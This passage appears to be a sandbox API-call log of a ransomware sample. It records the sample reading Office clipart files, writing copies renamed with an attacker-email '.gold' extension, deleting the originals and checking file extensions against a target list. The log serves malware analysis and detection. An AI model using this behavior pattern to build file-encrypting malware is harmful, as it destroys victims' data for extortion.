dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0113.308] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.308] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.309] GetLastError () returned 0x0 [0113.309] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x843a, lpOverlapped=0x0) returned 1 [0113.328] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x8440, lpOverlapped=0x0) returned 1 [0113.329] ReadFile (in: hFile=0x394, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.329] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.329] SetEndOfFile (hFile=0x198) returned 1 [0113.329] CloseHandle (hObject=0x198) returned 1 [0113.330] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.330] SetEndOfFile (hFile=0x394) returned 1 [0113.332] CloseHandle (hObject=0x394) returned 1 [0113.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0113.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.483] lstrlenW (lpString=".doc") returned 4 [0113.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.483] lstrlenW (lpString=".docx") returned 5 [0113.483] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.483] lstrlenW (lpString=".pdf") returned 4 [0113.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.483] lstrlenW (lpString=".xls") returned 4 [0113.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.483] lstrlenW (lpString=".xlsx") returned 5 [0113.483] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.483] lstrlenW (lpString=".ppt") returned 4 [0113.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.483] lstrlenW (lpString=".zip") returned 4 [0113.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.484] lstrlenW (lpString=".rar") returned 4 [0113.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString=".bz2") returned 4 [0113.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString=".7z") returned 3 [0113.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.484] lstrlenW (lpString=".dbf") returned 4 [0113.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.484] lstrlenW (lpString=".1cd") returned 4 [0113.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.484] lstrlenW (lpString=".jpg") returned 4 [0113.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.484] lstrlenW (lpString=".doc") returned 4 [0113.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString=".docx") returned 5 [0113.484] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.484] lstrlenW (lpString=".pdf") returned 4 [0113.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.484] lstrlenW (lpString=".xls") returned 4 [0113.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.484] lstrlenW (lpString=".xlsx") returned 5 [0113.485] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.485] lstrlenW (lpString=".ppt") returned 4 [0113.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.485] lstrlenW (lpString=".zip") returned 4 [0113.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.485] lstrlenW (lpString=".rar") returned 4 [0113.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.485] lstrlenW (lpString=".bz2") returned 4 [0113.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.485] lstrlenW (lpString=".7z") returned 3 [0113.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.485] lstrlenW (lpString=".dbf") returned 4 [0113.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.485] lstrlenW (lpString=".1cd") returned 4 [0113.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0113.485] lstrlenW (lpString=".jpg") returned 4 [0113.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.485] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.485] lstrlenW (lpString="J0186362.WMF") returned 12 [0113.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.486] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17662) returned 1 [0113.486] CloseHandle (hObject=0x3b8) returned 1 [0113.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 0x20 [0113.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.486] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.486] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.487] GetLastError () returned 0x0 [0113.487] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x44fe, lpOverlapped=0x0) returned 1 [0113.503] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4500, lpOverlapped=0x0) returned 1 [0113.505] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.505] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.505] SetEndOfFile (hFile=0x3e0) returned 1 [0113.505] CloseHandle (hObject=0x3e0) returned 1 [0113.505] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.505] SetEndOfFile (hFile=0x3b8) returned 1 [0113.507] CloseHandle (hObject=0x3b8) returned 1 [0113.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString=".doc") returned 4 [0113.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString=".docx") returned 5 [0113.509] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0113.509] lstrlenW (lpString=".pdf") returned 4 [0113.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString=".xls") returned 4 [0113.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.509] lstrlenW (lpString=".xlsx") returned 5 [0113.509] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0113.509] lstrlenW (lpString=".ppt") returned 4 [0113.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString=".zip") returned 4 [0113.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.509] lstrlenW (lpString=".rar") returned 4 [0113.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString=".bz2") returned 4 [0113.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString=".7z") returned 3 [0113.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString=".dbf") returned 4 [0113.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString=".1cd") returned 4 [0113.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString=".jpg") returned 4 [0113.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.509] lstrlenW (lpString=".doc") returned 4 [0113.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString=".docx") returned 5 [0113.510] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0113.510] lstrlenW (lpString=".pdf") returned 4 [0113.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString=".xls") returned 4 [0113.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.510] lstrlenW (lpString=".xlsx") returned 5 [0113.510] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0113.510] lstrlenW (lpString=".ppt") returned 4 [0113.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.510] lstrlenW (lpString=".zip") returned 4 [0113.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.510] lstrlenW (lpString=".rar") returned 4 [0113.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString=".bz2") returned 4 [0113.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString=".7z") returned 3 [0113.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.510] lstrlenW (lpString=".dbf") returned 4 [0113.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.510] lstrlenW (lpString=".1cd") returned 4 [0113.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0113.510] lstrlenW (lpString=".jpg") returned 4 [0113.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.510] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.510] lstrlenW (lpString="J0187647.WMF") returned 12 [0113.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0113.527] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6596) returned 1 [0113.527] CloseHandle (hObject=0x364) returned 1 [0113.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 0x20 [0113.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0113.561] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.561] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.562] GetLastError () returned 0x0 [0113.562] ReadFile (in: hFile=0x398, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x19c4, lpOverlapped=0x0) returned 1 [0113.580] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x19d0, lpOverlapped=0x0) returned 1 [0113.581] ReadFile (in: hFile=0x398, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.581] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.581] SetEndOfFile (hFile=0x3f8) returned 1 [0113.581] CloseHandle (hObject=0x3f8) returned 1 [0113.581] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.581] SetEndOfFile (hFile=0x398) returned 1 [0113.583] CloseHandle (hObject=0x398) returned 1 [0113.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 1 [0113.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.584] lstrlenW (lpString=".doc") returned 4 [0113.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.584] lstrlenW (lpString=".docx") returned 5 [0113.584] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.584] lstrlenW (lpString=".pdf") returned 4 [0113.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.584] lstrlenW (lpString=".xls") returned 4 [0113.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.584] lstrlenW (lpString=".xlsx") returned 5 [0113.585] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.585] lstrlenW (lpString=".ppt") returned 4 [0113.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString=".zip") returned 4 [0113.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.585] lstrlenW (lpString=".rar") returned 4 [0113.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString=".bz2") returned 4 [0113.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString=".7z") returned 3 [0113.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString=".dbf") returned 4 [0113.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString=".1cd") returned 4 [0113.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString=".jpg") returned 4 [0113.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString=".doc") returned 4 [0113.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString=".docx") returned 5 [0113.585] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.585] lstrlenW (lpString=".pdf") returned 4 [0113.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString=".xls") returned 4 [0113.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.585] lstrlenW (lpString=".xlsx") returned 5 [0113.585] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.585] lstrlenW (lpString=".ppt") returned 4 [0113.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.585] lstrlenW (lpString=".zip") returned 4 [0113.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.585] lstrlenW (lpString=".rar") returned 4 [0113.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString=".bz2") returned 4 [0113.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.585] lstrlenW (lpString=".7z") returned 3 [0113.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.586] lstrlenW (lpString=".dbf") returned 4 [0113.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.586] lstrlenW (lpString=".1cd") returned 4 [0113.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0113.586] lstrlenW (lpString=".jpg") returned 4 [0113.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.586] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.586] lstrlenW (lpString="J0187837.WMF") returned 12 [0113.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.612] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=16354) returned 1 [0113.612] CloseHandle (hObject=0x3e0) returned 1 [0113.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 0x20 [0113.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.618] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.618] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 